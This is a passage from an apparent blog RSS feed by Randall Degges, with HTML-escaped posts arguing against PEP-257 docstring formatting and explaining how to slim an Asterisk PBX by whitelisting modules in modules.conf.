&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="go">undef = &amp;#34;&amp;#34; 0
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As you can see, Asterisk is (for the most part) relatively easy to comprehend
when it comes to truthiness. The only surprising expression we encountered was
the: &lt;code>0 = &amp;quot;&amp;quot;&lt;/code> expression, which is &lt;em>not&lt;/em> true.&lt;/p>
&lt;h2 id="questions">Questions?&lt;/h2>
&lt;p>Got any questions? Feel free to &lt;a href="mailto:r@rdegges.com" title="Randall Degges' Email">shoot me an email&lt;/a> or message me on
&lt;a href="https://twitter.com/rdegges" title="Randall Degges' Twitter">twitter&lt;/a>.&lt;/p></description></item><item><title>Python Docstring Symmetry</title><link>https://rdegges.com/2010/python-docstring-symmetry/</link><pubDate>Tue, 17 Aug 2010 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/python-docstring-symmetry/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/python-docstring-symmetry/ruler-sketch.png" alt="Ruler Sketch" title="Ruler Sketch">
&lt;/p>
&lt;p>If you&amp;rsquo;ve been doing Python for more than a month, then I&amp;rsquo;m sure you&amp;rsquo;re
familiar with &lt;a href="http://www.python.org/dev/peps/pep-0008/" title="PEP-8">PEP-8&lt;/a>, the &lt;em>official&lt;/em> Python style guide. If you look at
PEP-8, it doesn&amp;rsquo;t explicitly define any docstring style guidelines, but instead
recommends following &lt;a href="http://www.python.org/dev/peps/pep-0257" title="PEP-257">PEP-257&lt;/a>&amp;rsquo;s rules.&lt;/p>
&lt;p>In the Python community, it is considered a sin if you don&amp;rsquo;t strictly follow
PEP-8. This is one of the things I really enjoy about Python, the community
helps encourage best practices, and good coding style. Nothing wrong with
that.&lt;/p>
&lt;p>However, I hate to say it, but: &lt;strong>PEP-257 is bullshit&lt;/strong>.&lt;/p>
&lt;h2 id="what-i-like-about-pep-257">What I Like About PEP-257&lt;/h2>
&lt;p>I don&amp;rsquo;t hate &lt;em>everything&lt;/em> about PEP-257, so before I get to the bad part, let
me start by talking briefly about what I like.&lt;/p>
&lt;ul>
&lt;li>
&lt;p>PEP-257 encourages developers to write docstrings for all modules,
functions, and classes. This is awesome. I totally agree. Docstrings are
extremely useful for developers, and help show off some of Python&amp;rsquo;s awesome
self-documenting and introspection capabilities.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>PEP-257 encourages the use of triple double quotes (&lt;code>&amp;quot;&amp;quot;&amp;quot;&lt;/code>) as docstring
delimiters. I agree again. It is nice to have consistency across multiple
programs.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>PEP-257 suggests that very short one line docstrings be placed on a single
line, but still use triple double quotes (&lt;code>&amp;quot;&amp;quot;&amp;quot;&lt;/code>) as delimiters. Again,
this rocks. Let&amp;rsquo;s say you&amp;rsquo;re writing a private method for a class, and it
is pretty self explanatory, don&amp;rsquo;t kill yourself writing long docstrings:&lt;/p>
&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">_something_simple&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">y&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;Adds x and y.&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">x&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="n">y&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>PEP-257 says that you should NOT put your function signatures into your
docstring, as they are already available through introspection. Makes
perfect sense: don&amp;rsquo;t be redundant:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Don&amp;#39;t do this, please.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">stupid_function&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;stupid_function(a) -&amp;gt; int&amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="mi">4&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>So, as you can (hopefully) see, I&amp;rsquo;m not some crazy rebel who hates standard
conventions or anything. I love order just as much as the next programmer.&lt;/p>
&lt;h2 id="where-pep-257-goes-crazy">Where PEP-257 Goes Crazy&lt;/h2>
&lt;p>The main bulk of PEP-257 is describing how multi-line docstrings should look,
and this is where things get ugly.&lt;/p>
&lt;p>Basically, PEP-257 wants your multi-line docstrings to start immediately after
the opening triple quotes (&lt;code>&amp;quot;&amp;quot;&amp;quot;&lt;/code>), and end with a blank line. Here&amp;rsquo;s an
example:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># This example was stolen directly from PEP-257.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">complex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">real&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mf">0.0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">imag&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mf">0.0&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;Form a complex number.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> Keyword arguments:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> real -- the real part (default 0.0)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> imag -- the imaginary part (default 0.0)
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> &amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">...&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Here&amp;rsquo;s another example with a more full docstring:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">do_something&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mf">0.0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">y&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;Calculates your best friend&amp;#39;s birthday by multiplying two numbers
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> together, then returning 4.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> Keyword Arguments:
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> x -- anything, I don&amp;#39;t care
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> y -- seriously
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> &amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">...&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Now, like most programmers I know, I&amp;rsquo;m a bit of an organizational freak. I
like symmetry in my code, comments, and I have to have things perfectly
aligned. PEP-257&amp;rsquo;s suggested multi-line docstring format drives me crazy.&lt;/p>
&lt;p>I have two big problems with PEP-257&amp;rsquo;s suggested format:&lt;/p>
&lt;ol>
&lt;li>
&lt;p>PEP-257 wants me to start my docstring &lt;strong>immediately&lt;/strong> after the triple
quotes.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>PEP-257 wants me to leave a blank line at the end of my docstring.&lt;/p>
&lt;/li>
&lt;/ol>
&lt;p>It doesn&amp;rsquo;t look &lt;em>clean&lt;/em> or &lt;em>organized&lt;/em> putting your comments immediately after
the opening triple quotes. It also seems unnecessary to add an extra blank
line at the end of each docstring.&lt;/p>
&lt;h2 id="what-i-propose">What I Propose&lt;/h2>
&lt;p>Instead of listening to PEP-257, I suggest that Python developers instead adapt
my style:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="k">def&lt;/span> &lt;span class="nf">complex&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">real&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mf">0.0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">imag&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mf">0.0&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> Forms a complex number.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> :param real: The real part (default 0.0).
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> :param imag: The imaginary part (default 0.0).
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> :return: An imaginary number, or False.
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> &amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="o">...&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This takes up the same amount of lines, except looks more symmetrical. We now
have an uncluttered docstring, that is easier to scan over with your eyes, and
looks nicer.&lt;/p>
&lt;p>The description of what you&amp;rsquo;re documenting goes on the line directly below the
opening triple quotes, and there is no blank line before the end of the
docstring.&lt;/p></description></item><item><title>How to Streamline Asterisk</title><link>https://rdegges.com/2010/how-to-streamline-asterisk/</link><pubDate>Mon, 16 Aug 2010 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2010/how-to-streamline-asterisk/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2010/how-to-streamline-asterisk/scuba-diving-sketch.png" alt="Scuba Diving Sketch" title="Scuba Diving Sketch">
&lt;/p>
&lt;p>So, you use &lt;a href="http://www.asterisk.org/" title="Asterisk">Asterisk&lt;/a> professionally, for fun, or both, and you want to know
how to optimize the shit out of your Asterisk platform? No problem, I&amp;rsquo;ve got
you covered.&lt;/p>
&lt;p>Grab a beer, free up the next 2 hours of your time, and let&amp;rsquo;s get to it!&lt;/p>
&lt;h2 id="why-do-this">Why Do This?&lt;/h2>
&lt;p>&lt;strong>To speed up your Asterisk platform.&lt;/strong> Asterisk is a large and complex PBX
system with hundreds of features, commands, and various components. Each
component that is in use adds additional overhead to your Asterisk system in
the form of RAM, CPU, and sometimes disk space.&lt;/p>
&lt;p>To make your Asterisk PBX perform at its best, it is useful to strip out
everything you don&amp;rsquo;t need, and force your Asterisk system to perform its best.&lt;/p>
&lt;h2 id="preparation">Preparation&lt;/h2>
&lt;p>To make this quick, you should already have a box with Asterisk up and running,
ideally with some working call routing code of some sort. If you manage an
Asterisk server at work, that will do just fine.&lt;/p>
&lt;p>&lt;strong>WARNING&lt;/strong>: Don&amp;rsquo;t attempt this stuff live on production servers unless you
really like abuse.&lt;/p>
&lt;h2 id="approach">Approach&lt;/h2>
&lt;p>The approach I like to take with my Asterisk slimming, streamlining, or
whatever you want to call it, is to install Asterisk initially with as many
features as possible, disable everything, then selectively enable the features
I need, one at a time.&lt;/p>
&lt;p>This is called a &lt;em>whitelisting&lt;/em> approach, as you block everything by default,
and then manually allow only certain features (think network security).&lt;/p>
&lt;p>This method requires more effort to setup and maintain, but leads to the best
possible performance.&lt;/p>
&lt;h2 id="install-asterisk">Install Asterisk&lt;/h2>
&lt;p>If you are familiar with Asterisk installation, you can go ahead and skip to
the next section. Good work, smart guy!&lt;/p>
&lt;p>If you&amp;rsquo;ve never installed Asterisk before, read &lt;a href="https://rdegges.com/2010/transparent-telephony-part-2-installing-asterisk/" title="Transparent Telephony - Part 2 - Installing Asterisk">my guide&lt;/a>.&lt;/p>
&lt;p>If you installed Asterisk from your OS&amp;rsquo;s package manager (&lt;code>yum&lt;/code>, &lt;code>apt&lt;/code>, etc.),
then you can also skip this section.&lt;/p>
&lt;p>So, I guess you installed Asterisk from source. Nice. That&amp;rsquo;s the best way
(but you already know that). Anyway, as I mentioned in the previous section, I
like to install Asterisk with as many features enabled as possible. This way,
if I ever need to get some extra functionality, I can simply enable it, and not
have to completely re-install Asterisk from source.&lt;/p>
&lt;p>If you aren&amp;rsquo;t sure of how to selectively choose which features are installed
when you are compiling Asterisk, all you have to do is run &lt;code>make menuselect&lt;/code> in
the Asterisk source directory (this also applies to &lt;code>asterisk-addons&lt;/code>), after
running &lt;code>./configure&lt;/code>, but before running &lt;code>make&lt;/code>.&lt;/p>
&lt;p>While installing Asterisk, you might run the following commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> &lt;span class="nb">cd&lt;/span> asterisk-latest
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> ./configure
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> make menuselect
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> make
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> sudo make install
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>When you run &lt;code>make menuselect&lt;/code>, you&amp;rsquo;ll see an &lt;code>ncurses&lt;/code> based GUI window, that
lets you use the arrow keys, enter, and tab to navigate around and choose which
components to install. You should choose as many as possible.&lt;/p>
&lt;h2 id="figure-out-which-features-youre-using">Figure Out Which Features You&amp;rsquo;re Using&lt;/h2>
&lt;p>This step is &lt;strong>important&lt;/strong>. You need to figure out what parts of Asterisk you
&lt;strong>need&lt;/strong> in order to do what you&amp;rsquo;re doing before you can even think about
removing unnecessary junk.&lt;/p>
&lt;p>Here are some helpful tips for figuring out what parts of Asterisk you need:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Read &lt;a href="http://www.voip-info.org/wiki/view/Asterisk+Slimming" title="Asterisk Slimming Wiki Page">this page&lt;/a> on &lt;a href="http://www.voip-info.org/" title="VoIP Info Wiki">voip-info&lt;/a>. It has a pretty good list of module
and configuration file dependencies.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Look at all of your code in &lt;code>extensions.conf&lt;/code>, and write down all of the
application names you use. This would be stuff like &lt;code>Plaback&lt;/code>, &lt;code>Monitor&lt;/code>,
etc.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Which sort of protocols does your system support? SIP? IAX? DAHDI?
ZAPTEL?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>What sort of call codecs do you support? ULAW, G729, etc.?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Which configuration files have you explicitly put code into?
&lt;code>indications.conf&lt;/code>? &lt;code>smdi.conf&lt;/code>? etc.?&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>I suggest writing these all down somewhere. It&amp;rsquo;s not critical to have &lt;em>all&lt;/em> of
them perfectly figured out at the start, you can always figure it out later via
trial-and-error.&lt;/p>
&lt;h2 id="get-a-list-of-all-modules">Get a List of All Modules&lt;/h2>
&lt;p>We now need to get a list of all the Asterisk modules that are currently
available on your system. If you compiled Asterisk from scratch, and read my
&lt;em>Installing Asterisk&lt;/em> section, you should have a ton.&lt;/p>
&lt;p>On most Linux systems, you can get a list of all your Asterisk modules by
running the following command: &lt;code>ls /usr/lib/asterisk/modules/&lt;/code>. This &lt;em>may&lt;/em> be
different for you, depending on what operating system you&amp;rsquo;re using.&lt;/p>
&lt;h2 id="disable-everything">Disable Everything&lt;/h2>
&lt;p>Before enabling the modules we need, we&amp;rsquo;re going to disable everything. This
is part of our &lt;em>whitelisting&lt;/em> approach to Asterisk slimming.&lt;/p>
&lt;p>To do this, open up your &lt;code>modules.conf&lt;/code> file (usually located in
&lt;code>/etc/asterisk/&lt;/code>). Your file should look something like:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Asterisk configuration file&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Module Loader configuration file&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">[modules]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">autoload&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">yes&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Any modules that need to be loaded before the Asterisk core has been&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; initialized (just after the logger has been initialized) can be loaded&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; using &amp;#39;preload&amp;#39;. This will frequently be needed if you wish to map all&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; module configuration files into Realtime storage, since the Realtime&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; driver will need to be loaded before the modules using those&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; configuration files are initialized.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; An example of loading ODBC support would be:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;preload =&amp;gt; res_odbc.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;preload =&amp;gt; res_config_odbc.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; res_phoneprov requires func_strings.so to be loaded:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">preload&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; func_strings.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Uncomment the following if you wish to use the Speech Recognition API&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;preload =&amp;gt; res_speech.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; If you want, load the GTK console right away.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">noload&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; pbx_gtkconsole.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; pbx_gtkconsole.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">load&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; res_musiconhold.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; Load one of: chan_oss, alsa, or console (portaudio).&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">; By default, load chan_oss only (automatically).&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">noload&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; chan_alsa.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;noload =&amp;gt; chan_oss.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="na">noload&lt;/span> &lt;span class="o">=&lt;/span>&lt;span class="s">&amp;gt; chan_console.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Change the line that says &lt;code>autoload=yes&lt;/code> to &lt;code>autoload=no&lt;/code>. This will
&lt;strong>prevent&lt;/strong> Asterisk from automatically loading modules.&lt;/p>
&lt;p>The next thing you need to do is &lt;code>preload&lt;/code> any required modules. As shown in
the sample config above, if you need &lt;code>odbc&lt;/code> support, you should put
&lt;code>preload =&amp;gt; res_odbc.so&lt;/code> directly below your &lt;code>autoload=yes&lt;/code> line.&lt;/p>
&lt;p>After you&amp;rsquo;ve gotten all the &lt;code>preload&lt;/code>s finished, &lt;strong>delete everything else&lt;/strong> in
the file. Seriously. You won&amp;rsquo;t need it anymore :)&lt;/p>
&lt;h2 id="enable-only-what-you-need">Enable Only What You Need&lt;/h2>
&lt;p>You should still be in your &lt;code>modules.conf&lt;/code> file. Now, remember before when you
got a list of all the Asterisk modules available on your system
(&lt;code>ls /usr/lib/asterisk/modules/&lt;/code>)? Do the following:&lt;/p>
&lt;p>Below all of your &lt;code>preload&lt;/code> lines in &lt;code>modules.conf&lt;/code>, insert
&lt;code>load =&amp;gt; module_name.so&lt;/code> for each module that starts with &lt;code>res_&lt;/code>, e.g.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; res_adsi.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; res_agi.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; res_clioriginate.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; res_config_curl.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; res_convert.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; res_curl.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; res_crypto.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; res_indications.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; res_limit.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; res_monitor.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; res_musiconhold.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; res_phoneprov.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; res_smdi.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; res_timing_dahdi.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; res_timing_pthread.so&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Wondering why you need to do all of the modules with &lt;code>res&lt;/code> first? Because
these modules are special, they are &lt;code>resources&lt;/code>. Resource modules need to be
loaded before any other modules as they often satisfy dependency issues.&lt;/p>
&lt;p>Now, feel free to insert &lt;code>load =&amp;gt; module_name.so&lt;/code> lines for your remaining
modules that don&amp;rsquo;t start with &lt;code>res_&lt;/code>, e.g.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-ini" data-lang="ini">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_addon_sql_mysql.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_adsiprog.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_alarmreceiver.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_amd.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_authenticate.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_cdr.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_chanisavail.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_channelredirect.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_chanspy.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_controlplayback.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_dahdibarge.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_dahdiras.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_dahdiscan.so&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">;load =&amp;gt; app_db.so&lt;/span>
